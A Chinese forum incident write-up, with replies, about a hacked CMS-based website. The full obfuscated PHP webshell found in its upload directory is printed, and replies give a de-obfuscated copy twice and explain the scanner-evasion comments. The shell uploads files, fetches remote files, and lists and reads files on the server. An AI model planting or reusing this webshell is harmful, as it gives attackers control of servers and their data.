记一次官网被黑的经历

今天下午五点左右收到通知说微信公众号的官网链接被限制访问了,上线一看,官网被黑了,百度通过关键字搜到官网条目,点进去直接跳转到一个博彩网站,这就尴尬了,才一天不上班网站就被黑出翔,实在蛋疼。
于是百度搜解决方案,查看网站首页源代码,发现不对劲
file
上服务器一看,几乎整个网站根目录都被替换了
原本正常代码目录应该是这样的
file
正常的index.php的内容应该如下
file
结果现在的网站目录变成这样了
file
目录无变化,但是文件TMD除了index.php以外其他文件都没了,这就尴尬了
查看现在的index.php的内容
file
直接变成个html文档了我去。
然后把出文件全部替换回来,网站恢复正常

接下来寻找被黑原因
进服务器执行history命令查看操作命令
未发现异常
推测不是ssh被攻破
是网站代码问题
很有可能是cms的漏洞
在网站根目录通过find ./ -mtime -l 命令查看最近24小时修改过的文件
file
发现upload目录下有修改过的文件,进去查看
file
发现被人上传了个脚本,很郁闷,之前没查看上传接口,原来这CMS不做上传防御的,不做防御就算了,上传文件之后还不会自动把文件重命名的,这游戏能玩?
查看了下脚本内容
file
最后清除了脚本后,亡羊补牢,设置nginx在上传目录下禁止执行php文件
调整了下攻击脚本的格式,内容如下

<?php 

error_reporting(0);

$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";

$id=$sr/*+/*+*/("ri"."d_"."si");

$rn=$sr/*+/*+*/("em"."an"."er");

$dn=$sr/*+/*+*/("em"."anr"."id");

$od=$sr/*+/*+*/("ri"."dne"."po");

$rd=$sr/*+/*+*/("ri"."dda"."er");

$cd=$sr/*+/*+*/("ri"."deso"."lc");

$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");

$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");

$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

if($_GET['act']=='dl')
{
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
    }
    exit;
}

if($_GET['act']=='ul')
{
echo($ulform);

if($_SERVER['REQUEST_METHOD']=='POST')
{
    $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;

}
if($_GET['act']=='rn'){
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $rn/*+/*+*/($_POST['on'],$_POST['nn']);
    }
    exit;
    }
if($_GET['act']=='gp')
{
    echo($dn/*+/*+*/(__FILE__));
    exit;
}
if($_GET['act']=='lp')
{
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $dp=$_POST['dp'].'/';
        $h=$od/*+/*+*/($dp);
        while(($fn=$rd/*+/*+*/($h))!==false)
        {
            if($id/*+/*+*/($dp.$fn))
            {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        $cd/*+/*+*/($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
    $df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}

?>

看着这攻击脚本有点疑问,看不太懂,希望有能看懂的同学一起交流下,另外脚本有大段的./+/+*/ 这种注释,这种注释到底有什么用,或者说,这不仅仅是注释?还请有明白的同学指点一番

本帖由系统于 2个月前 自动加精
《L03 构架 API 服务器》
你将学到如 RESTFul 设计风格、PostMan 的使用、OAuth 流程,JWT 概念及使用 和 API 开发相关的进阶知识。
《L05 电商实战》
从零开发一个电商项目,功能包括电商后台、商品 & SKU 管理、购物车、订单管理、支付宝支付、微信支付、订单退款流程、优惠券等
讨论数量: 15

主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。

大概的内容如下:

<?php

// 关闭所有PHP错误报告
error_reporting(0);

/**
 * 这一段是申明函数名称,
 * 如:file_put_contents,move_uploaded_file,rename,dirname
 */

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

// 将指定网站(url)下的源代码保存在 $_POST['fn'] 里
if($_GET['act']=='dl') {
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        file_put_contents($_POST['fn'],file_get_contents($_POST['url']));
    }
    exit;
}

// 上传文件并重命名
if($_GET['act']=='ul') {
    echo($ulform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';
        move_uploaded_file(${"_FILES"}["uf"]["tmp_name"],$sp.${"_FILES"}["uf"]["name"]);
    }
    exit;
}

// 重命名指定文件或目录
if($_GET['act']=='rn') {
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        rename($_POST['on'],$_POST['nn']);
    }
    exit;
}

// 获取当前路径
if($_GET['act']=='gp') {
    echo(dirname(__FILE__));
    exit;
}

// 循环扫描指定目录下的文件和文件夹
if($_GET['act']=='lp') {
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        $dp=$_POST['dp'].'/';
        $h=opendir($dp);
        while(($fn=readdir($h))!==false) {
            if(is_dir($dp.$fn)) {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        closedir($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}

// 获取服务器上指定文件的内容(根据上面循环扫描得到全路径)
if($_GET['act']=='sf') {
    echo($sfform);
    if($_SERVER['REQUEST_METHOD']=='POST'){
        $df=$_POST['df'];
        echo('<textarea style="width:100%;height:100%;" wrap="off">'.file_get_contents($df).'</textarea>');
    }
    exit;
}

?>
5个月前 评论
leo

/*+/*+*/ 在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器

5个月前 评论
月殇

tp吧 修复最近新公布的那几个漏洞了吗

5个月前 评论

@月殇 没有呢,新官网已经重构好了,下周上线,不用这套了

5个月前 评论
JaguarJack

别用 都是 webinstall 的 漏洞贼多

5个月前 评论

新官网用的什么呢 看来tp是不好搞了

5个月前 评论
pigzzz

还是用拉瓦了

5个月前 评论
leo

/*+/*+*/ 在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器

5个月前 评论

主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。

大概的内容如下:

<?php

// 关闭所有PHP错误报告
error_reporting(0);

/**
 * 这一段是申明函数名称,
 * 如:file_put_contents,move_uploaded_file,rename,dirname
 */

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

// 将指定网站(url)下的源代码保存在 $_POST['fn'] 里
if($_GET['act']=='dl') {
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        file_put_contents($_POST['fn'],file_get_contents($_POST['url']));
    }
    exit;
}

// 上传文件并重命名
if($_GET['act']=='ul') {
    echo($ulform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';
        move_uploaded_file(${"_FILES"}["uf"]["tmp_name"],$sp.${"_FILES"}["uf"]["name"]);
    }
    exit;
}

// 重命名指定文件或目录
if($_GET['act']=='rn') {
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        rename($_POST['on'],$_POST['nn']);
    }
    exit;
}

// 获取当前路径
if($_GET['act']=='gp') {
    echo(dirname(__FILE__));
    exit;
}

// 循环扫描指定目录下的文件和文件夹
if($_GET['act']=='lp') {
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        $dp=$_POST['dp'].'/';
        $h=opendir($dp);
        while(($fn=readdir($h))!==false) {
            if(is_dir($dp.$fn)) {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        closedir($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}

// 获取服务器上指定文件的内容(根据上面循环扫描得到全路径)
if($_GET['act']=='sf') {
    echo($sfform);
    if($_SERVER['REQUEST_METHOD']=='POST'){
        $df=$_POST['df'];
        echo('<textarea style="width:100%;height:100%;" wrap="off">'.file_get_contents($df).'</textarea>');
    }
    exit;
}

?>
5个月前 评论

有人用帝国cms碰到过这个

5个月前 评论
尼古丁

恐怖:scream:

5个月前 评论
代码如诗人生如歌

同被黑的路过,tp漏洞,杀完木马升级补丁ok

5个月前 评论
ruke

之前用过 服务器空间, 也就是一台服务器分出来很多块, 卖给很多人, 有一次我发现通过php的这些个目录操作函数, 文件操作函数, 可以读取出卖给别人的空间(也就是目录),还可以删除文件..

5个月前 评论
ivothgle

这个脚本估计是自己写的, 比较简单, 前几天也发现了一个朋友的 tp5 网站被上传木马了.

主要也是静态化 index.php 文件, 加入跳转到博彩网站 js , 但是比较狡猾的是, 仅对于搜索引擎来源的进行跳转, 直接访问的不会跳转, 这样自己人不易发现.

然后, 在升级框架过程中, 发现了 5 种不同的后门脚本遍布在各个目录下, 同时文件名也是伪装成相似的文件名. 文件内容都是加密了, 功能十分丰富, 文件管理, sql, shell 等功能.

PS: 没有把 public 作为 web 根目录这个也是有点风险点. 建议楼主再次扫描一下其他目录下还有没有残留的.

5个月前 评论

@ivothgle 没错的,一样的,我也发现了六七个其他的脚本,很蛋疼,哈哈,不过这套代码已经不用了

5个月前 评论
ibucoin

老东家同tp做的官网被攻击挂马,不过没人维护,所以也没用了

2个月前 评论

请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!